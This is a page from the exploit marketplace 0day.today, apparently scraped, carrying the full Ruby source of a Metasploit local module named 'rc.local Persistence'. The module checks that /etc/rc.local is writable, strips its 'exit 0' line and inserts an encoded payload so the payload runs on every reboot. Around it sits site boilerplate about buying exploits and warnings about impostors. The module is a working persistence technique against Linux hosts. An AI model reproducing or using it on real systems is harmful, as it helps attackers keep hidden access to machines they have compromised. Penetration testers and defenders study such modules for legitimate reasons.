0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Linux rc.local Payload Persistence Module Exploit
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Unix def initialize(info = {}) super(update_info(info, 'Name' => 'rc.local Persistence', 'Description' => %q( This module will edit /etc/rc.local in order to persist a payload. The payload will be executed on the next reboot. ), 'License' => MSF_LICENSE, 'Author' => [ 'Eliott Teissonniere' ], 'Platform' => [ 'unix', 'linux' ], 'Arch' => ARCH_CMD, 'Payload' => { 'BadChars' => "#%\n", 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic python ruby netcat perl' } }, 'SessionTypes' => [ 'shell', 'meterpreter' ], 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' }, 'DisclosureDate' => 'Oct 01 1980', # The rc command appeared in 4.0BSD. 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0 )) end def exploit unless cmd_exec("test -w '/etc/rc.local' && echo true").include? 'true' fail_with Failure::BadConfig, '/etc/rc.local is not writable' end print_status('Reading /etc/rc.local') # read /etc/rc.local, but remove `exit 0` rc_local = read_file('/etc/rc.local').gsub(/^exit.*$/, '') # add payload and put back `exit 0` rc_local << "\n#{payload.encoded}\nexit 0\n" # write new file print_status('Patching /etc/rc.local') write_file('/etc/rc.local', rc_local) end end # 0day.today [2024-11-15] #